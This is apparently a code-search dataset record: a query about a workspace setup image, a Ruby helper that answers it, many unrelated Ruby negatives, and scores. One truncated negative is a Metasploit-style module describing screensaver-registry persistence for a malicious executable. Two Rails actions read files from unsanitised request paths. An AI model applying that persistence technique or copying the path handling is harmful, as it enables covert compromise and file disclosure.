kCGBlendModeClear kCGBlendModeCopy \" +\n \"kCGBlendModeSourceIn kCGBlendModeSourceOut kCGBlendModeSourceAtop \" +\n \"kCGBlendModeDestinationOver kCGBlendModeDestinationIn \" +\n \"kCGBlendModeDestinationOut kCGBlendModeDestinationAtop kCGBlendModeXOR \" +\n \"kCGBlendModePlusDarker kCGBlendModePlusLighter\"\n blendModes = MIMeta.listcgblendmodes\n unless origModes.eql? blendModes\n raise \"Blend modes are different, new:\" + blendModes\n end\n\n origPresets = \"AlphaOnly8bpcInt Gray8bpcInt Gray16bpcInt Gray32bpcFloat \" +\n \"AlphaSkipFirstRGB8bpcInt AlphaSkipLastRGB8bpcInt \"+\n \"AlphaPreMulFirstRGB8bpcInt AlphaPreMulBGRA8bpcInt AlphaPreMulLastRGB8bpcInt \" +\n \"AlphaPreMulLastRGB16bpcInt AlphaSkipLastRGB16bpcInt \" +\n \"AlphaSkipLastRGB32bpcFloat AlphaPreMulLastRGB32bpcFloat \" +\n \"CMYK8bpcInt CMYK16bpcInt CMYK32bpcFloat PlatformDefaultBitmapContext\"\n presets = MIMeta.listpresets\n unless origPresets.eql? presets\n raise \"Presets are different, new:\" + presets\n end\n\n origCommands = [:getproperty, :setproperty, :getproperties, :setproperties,\n :create, :close, :closeall, :addimage, :export, :drawelement, :snapshot,\n :finalizepage, :getpixeldata, :calculategraphicsizeoftext, :renderfilterchain,\n :assignimagetocollection, :removeimagefromcollection, :processframes,\n :createtrack, :addinputtowriter, :addimagesampletowriter,\n :finishwritingframes, :cancelwritingframes, :addmovieinstruction,\n :inserttracksegment, :insertemptytracksegment]\n\n commands = MIMeta.listallcommands\n unless origCommands.eql? commands\n raise \"Command lists are different, new:\" + commands.to_s\n end\n\n origObjects = [:bitmapcontext, :imageimporter, :imageexporter,\n :imagefilterchain, :pdfcontext, :nsgraphiccontext,\n :movieimporter, :movieeditor, :videoframeswriter]\n objectTypes = MIMeta.listobjecttypes\n\n unless origObjects.eql? objectTypes\n raise \"List of objects is different, new:\" + commands.to_s\n end\n\n origInputVideoWriterPresets = \"h264preset_sd jpegpreset h264preset_hd \" +\n \"prores4444preset prores422preset\"\n \n videoWriterPresets = MIMeta.listvideoframewriterpresets\n unless origInputVideoWriterPresets.eql? videoWriterPresets\n raise \"List of video writer presets is different, new:\" + videoWriterPresets.to_s\n end\n\n origUserInterfaceFonts = \"kCTFontUIFontMiniEmphasizedSystem \" +\n \"kCTFontUIFontSmallToolbar kCTFontUIFontWindowTitle \" +\n \"kCTFontUIFontMenuTitle kCTFontUIFontSystem kCTFontUIFontMenuItem \" +\n \"kCTFontUIFontEmphasizedSystem kCTFontUIFontToolbar kCTFontUIFontMessage \" +\n \"kCTFontUIFontEmphasizedSystemDetail kCTFontUIFontSmallEmphasizedSystem \" +\n \"kCTFontUIFontUserFixedPitch kCTFontUIFontMiniSystem kCTFontUIFontLabel \" +\n \"kCTFontUIFontControlContent kCTFontUIFontSystemDetail kCTFontUIFontViews \"+\n \"kCTFontUIFontUser kCTFontUIFontSmallSystem kCTFontUIFontApplication\" +\n \"kCTFontUIFontToolTip\"\n \n userInterfaceFonts = MIMeta.listuserinterfacefonts\n unless userInterfaceFonts.eql? userInterfaceFonts\n raise \"User iterface fonts are different, new:\" + userInterfaceFonts\n end\n\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: #{Smig.get_exitstring}\"\n end\n puts e.message\n puts e.backtrace.to_s\n puts #{Smig.exitstring}\"\n# exit 240\n end\nend", "def test_that_grids_do_not_work_for_small_imgs\n end", "def initialize window, path, tileable = false\n super\n @image = Gosu::Image.new(window, path, tileable)\n end", "def clipart\n output = get_working_image(@session_id)\n unless File.exist?(output)\n FileUtils.cp(\"#{Rails.root}/public/#{params[:src]}\", output)\n img = Image.read(output).first\n img = img.scale(params[:rs].to_f) unless params[:rs].blank?\n img = img.level_colors(params[:b] || \"\", params[:w] || \"\", true) if params[:b] || params[:w]\n img.background_color = \"none\"\n img.rotate!(params[:r].to_f) unless params[:r].blank?\n\n #For embroidery\n if params[:emb] == 'true'\n img = img.ordered_dither\n end\n #FLIP/FLOP/Transpose/Transverse\n if params[:ff] == 'flip'\n img.flip!\n elsif params[:ff] == 'flop'\n img.flop!\n elsif params[:ff] == 'transpose'\n img.transpose!\n elsif params[:ff] == 'transverse'\n img.transverse!\n end\n #Extracts a channel\n if params[:ec] == 'R'\n img = img.channel(Magick::RedChannel)\n elsif params[:ec] == 'G'\n img = img.channel(Magick::GreenChannel)\n elsif params[:ec] == 'B'\n img = img.channel(Magick::BlueChannel)\n end\n\n #Applies a special effect to the image - QuantumRange\n img = img.sepiatone(Magick::QuantumRange * params[:qr].to_f) unless params[:qr].blank?\n\n #Vignette (Shape Edge)\n if params[:vig] == 'true'\n img = img.vignette\n end\n\n #Wet Floor\n if params[:wf]\n img = img.wet_floor\n end\n img.write(output)\n end\n img = Image.read(output).first\n send_data img.to_blob, :disposition => 'inline', :type => 'image/png'\n end", "def render_image\n render_image_iterm2\n end", "def set_element pic\n controller_name == 'temp_listings' ? get_pixi_image(pic) : get_pixi_image(pic, 'large')\n end", "def initialize(x, y, width, height, actor)\n super(x, y, width, height)\n @cBackCharImage = CResizableImage.new(self, Rect.new(0, 0, self.contents.width, self.contents.height), \n nil, nil, 0, 255, 2, 3)\n window_update(actor)\n end", "def draw\n\tsuper\n\t\n\tif Game.scene.selected_tower\n\t position = grids_to_pixels(Game.scene.selected_tower.position)\n\t \n\t @surface.drawFilledCircle(position[0], position[1], Game.scene.selected_tower.range * Config.part_size[0], Screen.handle.format.mapRGB(0xbb, 0xbb, 0xbb))\n\tend\n\t\n\tposition = Config.monsters_start_at\n\tposition[0] += 1\n\tposition = grids_to_pixels(position)\n\tposition[0] -= 20\n\tposition[1] -= 20\n\tImage.draw(\"images/arrow.png\", @surface, *position)\n\t\n\tposition = Config.monsters_end_at\n\tposition[0] -= 1\n\tposition = grids_to_pixels(position)\n\tposition[0] -= 20\n\tposition[1] -= 20\n\tImage.draw(\"images/arrow.png\", @surface, *position)\n\t\n\tConfig.map_size[1].times do |y|\n Config.map_size[0].times do |x|\n @surface.draw_rect(Config.part_size[0]*x,Config.part_size[1]*y,Config.part_size[0],Config.part_size[1],Screen.handle.format.mapRGB(0x88, 0x88, 0x88))\n end\n end\n\t\n\tGame.scene.get_drawable_objects.each do |i|\n\t position = grids_to_pixels(i.position)\n\t if i.class <= Model::Monster # Drawing HP lines\n\t color = Screen.handle.format.mapRGB(0xaa, 0xaa, 0xaa)\n\t if i.poisoned\n\t color = Screen.handle.format.mapRGB(0xff, 0x00, 0xff)\n\t end\n\t @surface.draw_line(position[0]-12, position[1]-18, position[0]+12, position[1]-18, color)\n\t @surface.draw_line(position[0]-12, position[1]-17, position[0]+12, position[1]-17, color)\n\t \n\t line_len = i.hp * 24 / i.max_hp\n\t \n\t color = Screen.handle.format.mapRGB(0x00, 0xff, 0x00)\n\t if i.frozen\n\t color = Screen.handle.format.mapRGB(0x00, 0xff, 0xff)\n\t end\n\t @surface.draw_line(position[0]-12, position[1]-18, position[0]-12+line_len, position[1]-18, color)\n\t @surface.draw_line(position[0]-12, position[1]-17, position[0]-12+line_len, position[1]-17, color)\n\t end\n\t position[0] -= i.image_size[0]/2\n\t position[1] -= i.image_size[1]/2\n\t \n\t Image.draw(i.image, @surface, *position)\n\tend\n end", "def default_image\n end", "def design2image\n\n bkgImg = Image.read(\"#{Rails.root}/public/#{params[:bkg]}\").first\n\n sideTop = 36\n sideLeft = 95\n sideWidth = 216\n sideHeight = 353\n\n side = params[:side]\n if side == 'SLEEVE'\n sideWidth = 162\n sideHeight = 250\n end\n #ART Processing\n arts = params[:art];\n art_tops = params[:art_top];\n art_lefts = params[:art_left];\n \n \n #Image.new(columns, rows) ~ (width, height)\n containSide = Magick::Image.new(sideWidth, sideHeight) do\n self.background_color = 'none'\n end\n\n i=0\n if arts\n clipArt = Image.read(\"#{Rails.root}/public/#{arts[0]}\").first\n clipArtTop = art_tops[i].to_i if art_tops[i]\n clipArtLeft = art_lefts[i].to_i if art_lefts[i]\n containSide = containSide.composite(clipArt, clipArtLeft, clipArtTop, OverCompositeOp)\n end\n\n #TEXT Processing\n texts = params[:text];\n text_tops = params[:text_top];\n text_lefts = params[:text_left];\n\n\n if texts\n textArtTop = text_tops[i].to_i if text_tops[i]\n textArtLeft = text_lefts[i].to_i if text_lefts[i]\n gc = Magick::Draw.new\n textArt = Magick::Image.new(300, 200) do\n self.background_color = 'none'\n end\n gc.annotate(textArt, 0, 0, 0, 0, texts[i]) do\n self.gravity = Magick::NorthWestGravity\n self.pointsize = 22\n self.font_family = \"Times\"\n self.fill = '#0000A9'\n self.stroke = \"none\"\n end\n end\n\n containSide.composite!(textArt, textArtLeft || 0, textArtTop || 0, OverCompositeOp) if textArt\n \n bkgImg.composite!(containSide, sideLeft, sideTop, OverCompositeOp)\n bkgImg.scale!(0.5)\n\n send_data bkgImg.to_blob, :disposition => 'inline', :type => 'image/png'\n\n# output = get_working_image(@session_id)\n# unless File.exist?(output)\n# FileUtils.cp(\"#{RAILS_ROOT}/public/images/#{params[:textart]}.png\", output)\n# img = Image.read(output).first\n# img = img.scale(params[:rs].to_f) unless params[:rs].blank?\n# img = img.level_colors(params[:b] || \"\", params[:w] || \"\", true) if params[:b] || params[:w]\n# img.background_color = \"none\"\n# img = img.rotate(params[:r].to_f) unless params[:r].blank?\n# img.write(output)\n# end\n# img = Image.read(output).first\n# send_data img.to_blob, :disposition => 'inline', :type => 'image/png'\n\n end", "def initialize(window, actor, rect, spacing=18, right_pad=2,\n active=true, visible=true)\n super(active, visible)\n @actor = actor\n \n # Determine rectangles to position controls\n rects = determine_rects(rect, spacing, right_pad)\n \n @ucActStates = UCLabelIconsSwitchableList.new(window, rects[0], rects[0], \n \"\", [0], MENU_CONFIG::ACT_STATES_MAX_ICONS, \n MENU_CONFIG::ACT_STATES_ICONS_TIMEOUT) \n @ucActStates.active = active\n @ucActStates.visible = visible\n \n iconsArray = []\n for i in 0 .. actor.states.size-1\n iconsArray[i] = actor.states[i].icon_index\n end\n @ucActStates.icons = iconsArray\n \n bodyImg = MENU_CONFIG::BODY_IMAGES[actor.id]\n @cCharImage = CImage.new(window, rects[1], Cache.picture(bodyImg.filename), \n bodyImg.src_rect)\n @cCharImage.valign = 2\n @cCharImage.active = active\n @cCharImage.visible = visible\n \n if actor.dead?\n @cCharImage.active = false \n end\n \n @cCharName = CLabel.new(window, rects[2], \n actor.name, 1, Font.bold_font)\n @cCharName.active = active\n @cCharName.visible = visible\n \n @ucCharLvl = UCLabelValue.new(window, rects[3][0], rects[3][1], \n Vocab::lvl_label, actor.level)\n @ucCharLvl.cLabel.font = Font.party_stat_font\n @ucCharLvl.cValue.font = Font.party_stat_font\n @ucCharLvl.cLabel.align = 2\n @ucCharLvl.cValue.align = 2\n @ucCharLvl.active = active\n @ucCharLvl.visible = visible\n \n @ucHpStat = UCLabelIconValue.new(window, rects[4][1], rects[4][0], rects[4][2],\n Vocab::hp_label, MENU_CONFIG::ICON_HP, \n sprintf(MENU_CONFIG::GAUGE_PATTERN, actor.hp, actor.maxhp))\n @ucHpStat.cValue.align = 2\n @ucHpStat.cValue.font = Font.party_stat_font\n \n if actor.hp == 0\n @ucHpStat.cValue.font.color = Color.knockout_color\n elsif actor.hp < actor.maxhp / 4\n @ucHpStat.cValue.font.color = Color.crisis_color\n else\n @ucHpStat.cValue.font.color = Color.normal_color\n end\n \n @ucHpStat.active = active\n @ucHpStat.visible = visible\n @cHpStatGauge = UCBar.new(window, rects[5], \n Color.hp_gauge_color1, Color.hp_gauge_color2, Color.gauge_back_color, \n actor.hp, actor.maxhp, 1, Color.gauge_border_color)\n @cHpStatGauge.active = active\n @cHpStatGauge.visible = visible\n \n @ucMpStat = UCLabelIconValue.new(window, rects[6][1], rects[6][0], rects[6][2],\n Vocab::mp_label, MENU_CONFIG::ICON_MP, \n sprintf(MENU_CONFIG::GAUGE_PATTERN, actor.mp, actor.maxmp))\n @ucMpStat.cValue.align = 2\n @ucMpStat.cValue.font = Font.party_stat_font\n \n if actor.mp < actor.maxmp / 4\n @ucMpStat.cValue.font.color = Color.crisis_color\n else\n @ucMpStat.cValue.font.color = Color.normal_color\n end\n \n @ucMpStat.active = active\n @ucMpStat.visible = visible\n @cMpStatGauge = UCBar.new(window, rects[7], \n Color.mp_gauge_color1, Color.mp_gauge_color2, Color.gauge_back_color, \n actor.mp, actor.maxmp, 1, Color.gauge_border_color) \n @cMpStatGauge.active = active\n @cMpStatGauge.visible = visible\n \n if (actor.next_exp == 0)\n gauge_min = 1\n gauge_max = 1\n exp_value = MENU_CONFIG::MAX_EXP_GAUGE_VALUE\n else\n gauge_min = actor.now_exp\n gauge_max = actor.next_exp\n exp_value = sprintf(MENU_CONFIG::GAUGE_PATTERN, actor.now_exp, actor.next_exp)\n end\n \n @ucExp = UCLabelIconValue.new(window, rects[8][1], rects[8][0], rects[8][2],\n Vocab::exp_label, MENU_CONFIG::ICON_EXP, \n exp_value)\n @ucExp.cValue.align = 2\n @ucExp.cValue.font = Font.party_stat_font\n @ucExp.active = active\n @ucExp.visible = visible\n \n @cExpGauge = UCBar.new(window, rects[9], \n Color.exp_gauge_color1, Color.exp_gauge_color2, Color.gauge_back_color, \n gauge_min, gauge_max, 1, Color.gauge_border_color) \n @cExpGauge.active = active\n @cExpGauge.visible = visible\n \n end", "def forkless(interspinous_interdevour, cladodontid_michel)\n end", "def setup\n size 640, 360, P3D\n @img = load_image 'berlin-1.jpg'\n no_stroke\nend", "def test_defaultIcon\n [@window, @sprite, @bitmap].each{|container|\n uc = UCIcon.new(container, Rect.new(100, 0, 24, 24), 1)\n uc.draw()\n }\n return true\n end" ]
[ "0.6526638", "0.61238545", "0.61190623", "0.61119646", "0.6084903", "0.60072345", "0.5991658", "0.59695816", "0.59314173", "0.588643", "0.58222395", "0.5780527", "0.577099", "0.5770415", "0.5707553", "0.57036203", "0.57036203", "0.57034665", "0.56973034", "0.5678858", "0.5635104", "0.56286854", "0.5614284", "0.56109434", "0.5586156", "0.5586156", "0.5577127", "0.5576361", "0.55613256", "0.5560819", "0.5551666", "0.5545908", "0.55394846", "0.5532569", "0.55260044", "0.55260044", "0.55206454", "0.55151576", "0.5502696", "0.54997015", "0.54846096", "0.5477549", "0.54750746", "0.54730415", "0.54654366", "0.5413617", "0.5411897", "0.54078645", "0.53607357", "0.5358543", "0.5355818", "0.53550255", "0.5343046", "0.5339907", "0.5337335", "0.53360397", "0.53281623", "0.5307601", "0.52981806", "0.52933943", "0.5289736", "0.52880144", "0.5283381", "0.528183", "0.5281748", "0.5281547", "0.5281547", "0.52712864", "0.5271024", "0.52692515", "0.52616084", "0.5257588", "0.52566624", "0.5253836", "0.5243647", "0.52403104", "0.52391756", "0.5234158", "0.523327", "0.52277374", "0.5219962", "0.5216448", "0.5210802", "0.52047706", "0.5204754", "0.51981837", "0.51979697", "0.5197149", "0.51806456", "0.51766884", "0.5170203", "0.51659137", "0.51651925", "0.5157296", "0.51538676", "0.51537406", "0.5151347", "0.51509756", "0.51494396", "0.514784", "0.513271" ]
0.0
-1
Image for setting up the software workspace
def setup_workspace_image image_path(image_name: params[:setup_workspace_image]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def software_image\n super\n end", "def setup\n \n\t# The size function is a statement that tells the computer \n\t# how large to make the window.\n\t# Each function statement has zero or more parameters. \n\t# Parameters are data passed into the function\n\t# and used as values for specifying what the computer will do.\n\tsize 640, 360\n\t\n\t# The background function is a statement that tells the computer\n\t# which color to make the background of the window \n\tbackground 102\n\t\nend", "def setup_screen\n rl = ResourceLocator.instance\n if rl.is_gem?('kuiper')\n rl.dirs << Gem.loaded_specs['kuiper'].full_gem_path\n end\n rl.dotfile=\".kuiper\"\n repository = Repository.new()\n rl.storage[:repository] = repository\n rl.storage[:visual_log] = [] # Distinct from the rl.logger; this is on-screen\n optpath = rl.dotpath_for(\"options.yml\")\n if File.exists?(optpath)\n options = Options.from_file(optpath)\n else\n options = Options.new(optpath)\n options.save\n end\n rl.storage[:options] = options\n w,h = options.screen_size\n screen = rl.screen( w, h, options.fullscreen )\n icon = rl.image_for(\"kuicon.png\",false,false)\n screen.icon = icon\n screen.title = \"Kuiper\"\n setup_joystick\n return screen\nend", "def setup_program_image\n image_path(image_name: params[:setup_program_image])\n end", "def prep_screen\n system(\"clear\")\n print \"Current project is \".blue\n print \"#{File.basename(File.expand_path(\".\"))}\".blue.on_light_white\n \n if File.exist?(\".git\")\n branch = `git rev-parse --abbrev-ref HEAD`\n print \" (current branch: \".blue\n print branch.strip.blue.on_light_white\n print \")\".blue\n end\n puts \"\"\n end", "def image(file)\n entry = @defn[@latest.name]\n endian = @vm.bigendian ? \"be\" : \"le\"\n init_user(entry)\n File.open(file, 'w') do |f|\n f.puts \"// vmimage #{endian}#{@vm.databits}\"\n @vm.dump(0, @vm.dot, true) do |s|\n f.puts s\n end\n end\n end", "def make_forensic_image(options)\n drive_path = %x(VBoxManage list hdds | grep '#{options[:project_dir].split('/').last}').sub(/\\ALocation:\\s*/, '').sub(/\\n/, '')\n # drive_path = %x(VBoxManage list hdds | grep '#{options[:project_dir].split('/').last}').sub(/\\ALocation:\\s*|\\n\\Z/, '')\n drive_name = drive_path.split('/').last\n\n options[:image_output_location] = \"#{options[:project_dir]}/#{drive_name}\".sub(/.vmdk|.vdi/, '') unless options.has_key? :image_output_location\n\n unless options.has_key? :no_vm_shutdown\n ## Ensure all vms are shutdown\n system \"cd '#{options[:project_dir]}' && vagrant halt\"\n\n if options.has_key? :create_raw_image\n create_dd_image(drive_path, options[:image_output_location])\n end\n\n if options.has_key? :create_ewf_image\n create_ewf_image(drive_path, options[:image_output_location])\n end\n\n if options.has_key? :delete_vm_after_image_creation\n delete_virtualbox_vm(options[:vm_name])\n end\n else\n @colour.error 'Cannot create forensic image as --no-vm-shutdown option is set to true'\n end\n\n return options\nend", "def workspace_info\n link_to_workspace_info(\"http://library.nyu.edu/info/myworkspace.html\", \"left\")\n end", "def image\n 'gh.png'\n end", "def setup_gui\n \n end", "def setup_images\n @default_image = NSImage.imageNamed(\"default.png\")\n @alternate_image = NSImage.imageNamed(\"alternate.png\")\n @highlight_image = NSImage.imageNamed(\"highlight.png\")\n end", "def create_ewf_image(drive_path ,image_output_location)\n ## Make E01 image\n @colour.notify \"Creating E01 image with path #{image_output_location}.E01\"\n @colour.notify 'This may take a while:'\n @colour.notify \"E01 image #{image_output_location}.E01 created\" if system \"ftkimager '#{drive_path}' '#{image_output_location}' --e01\"\nend", "def setup\n\t\tsize(1800,900) ; background(20) ; frame_rate 30 #JR\n\t\t# size(1400,850) ; background(20) ; frame_rate 30\n\t\t@w, @h = [width,height].map{|i|i/2.0} ; @i = 0\n \t@m = [235,18,85]\n\n \ttext_font create_font(\"SanSerif\",25) ; stroke(200,200,200)\n \t# @img = loadImage(\"/Users/Jon/Desktop/craigslist_map2.jpg\")\n \t@img = loadImage(\"/Users/Jon/Desktop/full_santa_fe.png\")\n\tend", "def config\r\n $ie.frame(:index, 2).image(:id, 'imgConfigure')\r\nend", "def init(name, platforms, type)\n\n # Create environment\n git_init(name)\n config(name, platforms)\n create_file_structure(name)\n\n # Create xcodeproj\n project = new_project(name)\n configure_PBXGroups(project, name)\n\n create_info_plists(name, type, platforms)\n add_info_plist_refs(project, name)\n configure_targets(project, name, type, platforms)\n configure_header(project, name, platforms)\n configure_schemes(project, name, platforms)\n configure_build_configuration_settings(project, name, platforms)\n\n # Save xcodeproj\n project.save\nend", "def build_vm_image\n options.verbose? ? @@log.level = Logger::DEBUG : @@log.level = Logger::ERROR\n def_constants(guess_os(\"fedora\"))\n\n # Override the machine type to launch if necessary\n $amz_options[:instance_type] = options[:instance_type] if options[:instance_type]\n $amz_options[:block_device_mappings] = {\"/dev/sdb\" => \"ephemeral0\"}\n \n # Establish a new connection\n conn = connect(options.region)\n \n image = nil\n # Create a new builder instance\n if (options.region?nil)\n image = conn.images[AMI[\"us-east-1\"]]\n elsif AMI[options.region].nil?\n puts \"No AMI specified for region:\" + options.region\n exit 1\n else\n image = conn.images[AMI[options.region]]\n end\n\n puts \"Launching AMI: #{image.id} - #{image.name}\"\n instance = launch_instance(image, \"oso-image-builder\", 1, SSH_USER)\n hostname = instance.dns_name\n puts \"Done\"\n puts \"Hostname: #{hostname}\"\n ssh(hostname, 'su - -c \"setenforce 0\"' , 60, false, 1, SSH_USER)\n ssh(hostname, 'su - -c \"yum update -y\"' , 300, false, 1, SSH_USER)\n ssh(hostname, 'su - -c \"yum install -y appliance-tools qemu-img\"' , 60, false, 1, SSH_USER)\n scp_to(hostname, File.expand_path(\"#{__FILE__ }/../templates/openshift-origin.ks\"), '/home/ec2-user/openshift-origin.ks', 60, 5,SSH_USER)\n scp_to(hostname, File.expand_path(\"#{__FILE__ }/../templates/openshift-origin.vmx\"), '/home/ec2-user/openshift-origin.vmx', 60, 5,SSH_USER)\n scp_to(hostname, File.expand_path(\"#{__FILE__ }/../templates/openshift-origin.vbox\"), '/home/ec2-user/openshift-origin.vbox', 60, 5,SSH_USER) \n ssh(hostname, 'su - -c \"mv -f /home/ec2-user/openshift-origin.ks /mnt/\"' , 60, false, 1, SSH_USER)\n ssh(hostname, 'su - -c \"mkdir -p /mnt/tmp/build && mkdir -p /mnt/openshift-origin\"', 60, false, 1,SSH_USER)\n ssh(hostname, 'su - -c \"which VBoxManage 2>&1 > /dev/null || yum install -y http://download.virtualbox.org/virtualbox/4.2.8/VirtualBox-4.2-4.2.8_83876_fedora18-1.x86_64.rpm\"', 60, false, 1, SSH_USER)\n ssh(hostname, 'su - -c \"cd /mnt && appliance-creator -d -n openshift-origin -c openshift-origin.ks ' +\n '--format=vmdk --vmem=1024 --checksum --logfile=build.log --tmpdir=/mnt/tmp/build --cache /mnt/tmp/cache/\"', 2400, false, 1, SSH_USER)\n ssh(hostname, 'su - -c \"' + %{\n /bin/cp -f /mnt/openshift-origin.ks /mnt/openshift-origin/ &&\n /bin/mv -f /home/ec2-user/openshift-origin.v* /mnt/openshift-origin/ && \n mkdir -p /root/.VirtualBox/ &&\n /bin/cp -f /mnt/openshift-origin/openshift-origin.vbox /root/.VirtualBox/openshift-origin.vbox &&\n ln -sf /mnt/openshift-origin/openshift-origin-sda.vmdk /root/.VirtualBox/openshift-origin-sda.vmdk &&\n pushd /root/.VirtualBox/ &&\n VBoxManage registervm openshift-origin.vbox &&\n VBoxManage storageattach \\\\\\\"OpenShift Origin\\\\\\\" --storagectl SATA --type hdd --port 0 --medium openshift-origin-sda.vmdk &&\n /bin/cp -f /root/.VirtualBox/openshift-origin.vbox /mnt/openshift-origin/openshift-origin.vbox && \n popd && \n cd /mnt/openshift-origin && tar zcf openshift-origin.tgz * &&\n VBoxManage unregistervm \\\\\\\"OpenShift Origin\\\\\\\"\n } + '\"' , 2400, false, 1, SSH_USER)\n FileUtils.mkdir_p \"vm/\"\n scp_from(hostname, \"/mnt/openshift-origin/openshift-origin.tgz\", \"vm/\", 1200, SSH_USER)\n begin\n terminate_instance(hostname) if options.terminate?\n rescue\n # suppress termination errors - they have been logged already\n end\n end", "def cntrl_settg; det.image(:id, 'imgCtrlSettings'); end", "def editor_model_background_path(work)\n case work.product_key\n when 'iphone_5_cases'\n image_path 'editor/model/i5s&5_fullsize.png'\n when 'iphone_4_cases'\n image_path 'editor/model/i4s&4_fullsize.png'\n when 'ipad_mini_cases'\n image_path 'editor/model/ipadmini_fullsize.png'\n when 'ipad_mini_covers'\n image_path 'editor/model/ipadminicover_fullsize.png'\n when 'ipad_air_cases'\n image_path 'editor/model/ipadaircover_fullsize.png'\n when 'iphone_6_cases'\n image_path 'editor/model/iphone6_fullsize.png'\n when 'iphone_6plus_cases'\n image_path 'editor/model/iphone6plus_fullsize.png'\n when 'clocks'\n image_path 'editor/model/clock_fullsize.png'\n when 'easycard_smartcards'\n image_path 'editor/model/easycard_fullsize.png'\n when 'mugs'\n image_path 'editor/model/mug_fullsize.png'\n else\n 'Editor initial error!'\n end\n end", "def new_project(name)\n path = File.expand_path(name)\n if Dir.exist?(path)\n say \"#{path} already exists. Please choose a directory name that doesn't already exist.\".red\n exit\n end\n\n @gz_info = new_global_zone\n @gz_info.serialize(path)\n\n say \"You have now configured your SmartOS virtual infrastructure. Inspect it, then run \"\\\n \"'smartos up' to build it!\".green\n end", "def default_image\n \"/var/lib/libvirt/images/kitchen-#{instance.platform.name}\"\n end", "def software_image_list\n super\n end", "def addLocationGUI(srcPhoto)\n # Need a symlink to Pashua in this folder too, include and require moved to top\n\n $:.push(File.dirname($0))\n\nconfig = <<end_of_string\n# Set transparency: 0 is transparent, 1 is opaque\n*.transparency=0.95\n\n# Set window title. \"2\" since the second window that appears\n*.title = 2. Add location information based on fileEXIF only\n\n# Introductory text\ntxt.type = text\ntxt.width = 500\ntxt.default = Select the location of the files to which location information[return] based on GPS coordinates in file EXIF are to be added[return] without moving the files\n\n# Photo folder select\n# FIX put in just mounted card when get app to detect mounted cards\nsrcSelect.type = openbrowser\nsrcSelect.label = Select the folder containing the photos:\nsrcSelect.width=550\n# presumably can use a variable\nsrcSelect.default = #{srcPhoto}\n\n\n# Add a cancel button with default label\ncb.type = cancelbutton\n\nend_of_string\n\n # Set the images' paths relative to this file's path / \n # skip images if they can not be found in this file's path\n icon = File.dirname($0) << \"/.icon.png\";\n bgimg = File.dirname($0) << \"/.demo.png\";\n\n if File::exists?(icon) # Display Pashua's icon\n Config << \"img.type = image\n img.x = 530\n img.y = 255\n img.path = #{icon}\n \"\n end\n\n if File::exists?(bgimg) # Display Pashua's icon\n Config << \"bg.type = image\n bg.x = 30\n bg.y = 2\n bg.path = #{bgimg}\n \"\n end\n\n # pashuaReturn = pashua_run config\n res = pashua_run config\n return res\n \nend", "def logo; end", "def logo; end", "def show_help\n puts '* I M N - Create a new M x N image with all pixels coloured white (O).\n* C - Clears the table, setting all pixels to white (O).\n* L X Y C - Colours the pixel (X,Y) with colour C.\n* V X Y1 Y2 C - Draw a vertical segment of colour C in column X between rows Y1 and Y2 (inclusive).\n* H X1 X2 Y C - Draw a horizontal segment of colour C in row Y between columns X1 and X2 (inclusive)\n* F X Y C - Fill the region R with the colour C. R is defined as: Pixel (X,Y) belongs to R. Any\nother pixel which is the same colour as (X,Y) and shares a common side with any pixel in R also belongs to this region.\n* S - Show the contents of the current image\n* ? - Displays help text\n* X - Terminate the session'\n end", "def default_workarea\n current_dir = File.expand_path('.')\n workarea = File.join(current_dir, 'docker')\n workarea = nil unless File.exist? workarea\n PrcLib.debug \"workarea => #{workarea}\"\n workarea\n end", "def reboot\n img = ['blue_flower', 'red_flower', 'white_flower', 'pink_flower'].sample\n @image = Gosu::Image.new window, 'images/flowers/' + img +'.png', true\n @drawing = true\n end", "def work_dir; end", "def main\n\n operations.make\n \n operations.each {|op|\n new_experimental_plt = op.output(OUTPUT).collection\n note = op.input(NOTE).val.to_s\n if note != '' || note != nil || note != ' '\n note_entered = true\n key = 'Note'\n Item.find(new_experimental_plt.id).associate key.to_sym, note\n end\n show {\n title \"New Experimental Plate Created\"\n separator\n note \"Output Item: <b>#{new_experimental_plt}</b>\"\n bullet \"Output Object Type: <b>#{new_experimental_plt.object_type.name}</b>\"\n (note_entered) ? (bullet \"Note: <b>#{note}</b>\") : nil\n }\n }\n \n return {}\n \n end", "def heat(wxs_file, stage_dir)\n Dir.chdir TOPDIR do\n cg_name = File.basename(wxs_file.ext(''))\n dir_ref = File.basename(File.dirname(stage_dir))\n sh \"heat dir #{stage_dir} -v -ke -indent 2 -cg #{cg_name} -gg -dr #{dir_ref} -var var.StageDir -out #{wxs_file}\"\n end\nend", "def build_environment_resources(environment, system_exec)\n puts \"Building all required resources for environment '#{environment.environment_name}'\"\n\n if environment.is_drupal_environment?\n build_css_and_js_for_drupal\n environment.create_template_resources\n end\n\n copy_project_dependencies_for_awestruct_image\n build_base_docker_images(environment, system_exec)\n build_environment_docker_images(environment, system_exec)\n\nend", "def monitor; tab.image(:name, 'imgMonitor'); end", "def init\n return if File.exists? data_path\n if parent.nil?\n Rugged::Repository.init_at barerepopath, :bare\n Rugged::Repository.clone_at barerepopath, satelliterepopath\n sym_hook\n else # it's a fork, therefore:\n Rugged::Repository.init_at barerepopath, :bare\n Rugged::Repository.clone_at parent.satelliterepopath, satelliterepopath\n end\n FileUtils.mkdir_p image_for('', 'mobile_inspire')\n FileUtils.mkdir_p image_for('', 'desktop_inspire')\n FileUtils.mkdir_p image_for('', 'thumbnails')\n FileUtils.mkdir_p image_for('', 'show_image_desk')\n FileUtils.mkdir_p image_for('', 'show_image_mob')\n FileUtils.mkdir_p image_for('', 'show')\n\n return if satelliterepo.empty?\n pushtobare\n copy_generated_images parent\n end", "def build(autoinst)\n Dir.chdir(work_dir) do\n log.info \"Creating #{veewee_provider} image\"\n cmd = \"veewee #{veewee_provider} build #{IMAGE_NAME} --force --auto\"\n cmd << \" --nogui\" if headless\n system(build_environment(autoinst), cmd)\n end\n end", "def make_installer_gtifw exe_path\n end", "def main\n @workspace.main\n end", "def initialize(info={})\n super(update_info(info,\n 'Name' => 'SCRNSAVE T1180 (User-land Persistence)',\n 'Description' => %q{\n To achieve persistence the attacker can modify 'SCRNSAVE.EXE' value in the registry and change its data to point to any malicious file, next the attacker has to enable the screensaver on the endpoint and change screensaver timeout by modifying the registry data for 'ScreenSaveActive' and 'ScreenSaveTimeOut'. Once this is completed, anytime the user leaves their desktop unattended for the specified amount of time, the screensaver function automatically kicks in and executes the attackers malicious PE/Appl.\n },\n 'License' => 